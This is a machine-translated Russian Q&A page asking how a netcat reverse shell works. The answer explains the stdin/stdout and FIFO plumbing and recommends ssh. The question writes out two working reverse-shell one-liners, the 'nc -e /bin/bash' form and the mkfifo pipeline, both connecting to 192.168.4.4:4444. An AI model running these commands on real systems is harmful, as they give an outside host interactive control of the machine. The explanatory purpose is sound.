Как это управляет работой? (инвертируйте оболочку),

Был простой способ соединить две системы и получение оболочки с помощью nc команду как ниже.

машина для слушания

nc -nlvp 4444

машина B для соединения

nc 192.168.4.4 4444 -e /bin/bash

Однако-e опция больше не, страницы справочника рекомендует следовать как ниже для выполнения команд

машина для слушания

nc -nlvp 4444

машина B для соединения

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f

Я действительно знаю понятия позади mkfifo (каналы неАмеда) и как перенаправление и передающие по каналу работы. Но это все еще смущает меня.

2
задан 26 March 2019 в 04:22

1 ответ

Давайте думать в стандартных потоках, stdin и stderr в течение минуты.

nc 192.168.4.4 4444 >/tmp/f

stdout поток nc дублирован к /tmp/f первым прибыл, первым обслужен, что означает то, что это получает от другой машины по сети, идет туда. Таким образом, то, где делает stdin, прибывает из? От /bin/sh -i 2>&1. До nc затронут, это просто должно передать те данные обратно другой машине.

Ну, что делает /bin/sh -i ? Это вызывает интерактивную оболочку - та, где Вы вводите команды и печатаете вывод к stdout. user@host подсказка обычно (если не всегда), распечатал к stderr, но мы должны отправить это на удаленную машину, следовательно 2>&1 перенаправление применяется для отправки подсказки через канал. Ну, мы не можем использовать stdout для печати вывода - оболочка должна отправить это в nc 192.168.4.4 4444 быть отправленным по сети. Мы не можем читать stdin также - cat /tmp/f будет использовать это для печати независимо от того, что команда дается от машины в примере. Передача по каналу команд к интерактивной оболочке является ничем особенно специальным - когда stdin повторно соединен проводом приложение не знает о нем, если это активно не проверяет.

$ echo 'df' | sh -i
$ Filesystem     1K-blocks     Used Available Use% Mounted on
udev             4000944        0   4000944   0% /dev
tmpfs             805348     1400    803948   1% /run
/dev/sda1       28717732 25907684   1328188  96% /
tmpfs            4026732    97496   3929236   3% /dev/shm
tmpfs               5120        4      5116   1% /run/lock
tmpfs            4026732        0   4026732   0% /sys/fs/cgroup
/dev/sdb1      115247656 99204832  10165476  91% /mnt/ubuntu
tmpfs             805344       32    805312   1% /run/user/1000
$ 
sh: 1: Cannot set tty process group (No such process)

Таким образом для помещения его кратко оболочка читает команды из FIFO и отправляет команды по сети через канал к nc. Команды, отправленные от удаленного до локальной оболочки, записаны nc к FIFO. И таким образом, цикл продолжается и на.

Примечание: nc не обеспечивает безопасности информации - команды и их вывод передаются по сети в простом тексте, и взломщик мог потенциально изменить данные между машиной A и B. Если Вы действительно хотите иметь безопасный способ дать команды к удаленной машине через ее оболочку - использование ssh. ssh протокол был специально разработан с этой целью.

1
ответ дан 2 December 2019 в 04:38

Другие вопросы по тегам:

Похожие вопросы: